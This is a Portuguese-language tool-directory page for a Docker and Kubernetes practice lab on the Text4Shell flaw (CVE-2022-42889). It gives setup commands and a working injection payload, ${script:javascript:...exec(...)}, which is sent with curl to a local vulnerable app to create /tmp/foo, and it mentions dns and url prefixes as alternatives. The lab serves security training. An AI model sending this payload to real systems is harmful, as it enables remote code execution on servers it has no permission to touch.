Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
text4shell-cve-2022-42889 — Kubernetes Lab for CVE-2022-42889 | Kitploit
Ferramentas/GitHubGitHub/devenes/text4shell-cve-2022-42889
Container SecurityVulnerability AnalysisWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdevenes/text4shell-cve-2022-42889

text4shell-cve-2022-42889

Kubernetes Lab for CVE-2022-42889

Ver Repositório
21há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Text4Shell CVE-2022-42889

Laboratório Docker para CVE-2022-42889

Podes construir a imagem Docker localmente ou puxar a imagem do Docker Hub e executar o contentor.

Clonar o repositório

root@kitploit:~
git clone https://github.com/devenes/text4shell-cve-2022-42889.git

Construir a imagem Docker localmente

root@kitploit:~
docker build --tag=text4shell .

Executar o contentor Docker

root@kitploit:~
docker run -d --rm -p 8080:8080 text4shell

Ou puxar a imagem do Docker Hub e executar o contentor

root@kitploit:~
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0

Testar a aplicação passando uma string para o parâmetro search:

root@kitploit:~
curl http://localhost/text4shell/attack?search=<anything>
  • O ataque pode ser realizado passando uma string ${prefix:name} onde o prefixo é a pesquisa mencionada:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

Ataque usando curl:

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
  • Também podes tentar usar os prefixos dns ou url

Obter o ID do contentor

root@kitploit:~
docker container ls

Entrar no contentor

root@kitploit:~
docker exec -it <container_id> bash

Verificar se o ataque RCE foi bem-sucedido

  • Deves ver um ficheiro chamado foo criado no diretório /tmp:
root@kitploit:~
ls /tmp/

Podes parar o contentor executando o seguinte comando

root@kitploit:~
docker container stop <container_id>

Laboratório Kubernetes para CVE-2022-42889

Mudar para o diretório kubernetes e seguir as instruções no ficheiro README.md.

root@kitploit:~
cd kubernetes

Criar cluster kind

root@kitploit:~
kind create cluster --config kind-config.yaml

Implementar a aplicação vulnerável no cluster

root@kitploit:~
kubectl apply -f deployment.yaml

Criar um serviço para expor a aplicação

root@kitploit:~
kubectl apply -f service.yaml

Atacar a aplicação vulnerável usando curl

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

Obter o nome do pod usando kubectl get pods

root@kitploit:~
kubectl get pods

Entrar no pod usando kubectl exec

root@kitploit:~
kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash

Verificar se o ataque foi bem-sucedido

root@kitploit:~
ls /tmp/ | grep foo

Podes encontrar o tutorial detalhado no meu curso Udemy aqui


Referências:

  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://www.docker.com/blog/security-advisory-cve-2022-42889-text4shell/
  • https://unifiedguru.com/security-advisory-cve-2022-42889-text4shell-docker/
  • https://medium.com/mii-cybersec/cve-2022-42889-text4shell-vulnerability-17b703a48dcd
Baixar ferramenta